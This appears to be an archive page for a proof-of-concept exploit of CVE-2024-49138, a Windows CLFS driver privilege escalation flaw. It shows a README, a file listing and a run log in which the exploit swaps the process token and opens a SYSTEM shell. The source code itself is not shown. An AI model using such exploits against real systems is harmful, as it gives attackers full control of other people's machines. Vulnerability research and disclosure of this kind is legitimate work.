CVE-2024-49138 PoC — Windows Common Log File System Driver Elevation of Privilege Vulnerability

Source

Associated Vulnerability

Description

POC exploit for CVE-2024-49138

Readme

# CVE-2024-49138-POC

Proof of Concept that exploits [CVE-2024-49138](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49138) in CLFS.sys. 

CrowdStrike detected the vulnerability actively exploited by threat actors.

Tested on **Windows 11 23h2**.

A thorough analysis will be provided in a detailed blog post.

## Compile and Run

Compile x64 Release version.

Run and get a system shell.

```
PS C:\Users\IEUser\Desktop> whoami
windows11\ieuser
PS C:\Users\IEUser\Desktop> .\CVE-2024-49138-POC.exe
Directory created successfully: C:\temp
Directory created successfully: C:\temp
file opened successfully
AddLogContainer successful
hResource = 0x00007FF7CDB89080
hResource = 0x00007FF7CDB890A0
pResourceData = 0x00007FF7CDB890A0
Resource size: 65536 bytes
Resource written to output.bin successfully.
Kernel Base Address: 0xFFFFF80339800000
Kernel Name: ntoskrnl.exe
NtReadVirtualMemory = 0x00007FFFAF0EFB40
NtWriteVirtualMemory = 0x00007FFFAF0EFAA0
pcclfscontainer = 0x0000000002100000
address_to_write = 0xFFFFC201424CC2B2
Process priority set to REALTIME_PRIORITY_CLASS.
Thread priority set to the highest level: TIME_CRITICAL.
triggering vuln...CreateLogFile failed with error 6601
Process priority set to NORMAL_PRIORITY_CLASS.
Thread priority set to the highest level: THREAD_PRIORITY_NORMAL.
vuln triggered
reading base of ntoskrnl to check we have arbitrary read/write
buf = 0x0000000300905A4D
swapping tokens...
current token address = 0xFFFFC201423EC578
systemtoken = 0xFFFFD401F501C6E9
Overwriting process token..
token swapped. Restoring PreviousMode and spawning system shell...
Microsoft Windows [Version 10.0.22631.2861]
(c) Microsoft Corporation. All rights reserved.

C:\Users\IEUser\Desktop>whoami
nt authority\system

C:\Users\IEUser\Desktop>
```

![systemshell](https://github.com/user-attachments/assets/788d4096-1c9c-46a6-ad52-988e6538dd18)

File Snapshot

 [4.0K]  /data/pocs/feb76cd61a7f3b3ca967fc64f0fa7ab915226750
├── [ 17K]  CVE-2024-49138-POC.cpp
├── [1.4K]  CVE-2024-49138-POC.rc
├── [1.4K]  CVE-2024-49138-POC.sln
├── [7.1K]  CVE-2024-49138-POC.vcxproj
├── [1.3K]  CVE-2024-49138-POC.vcxproj.filters
├── [ 64K]  mylogdddd.blf.blf
├── [2.9K]  RCa04816
├── [1.8K]  README.md
└── [ 460]  resource.h

0 directories, 9 files

Remarks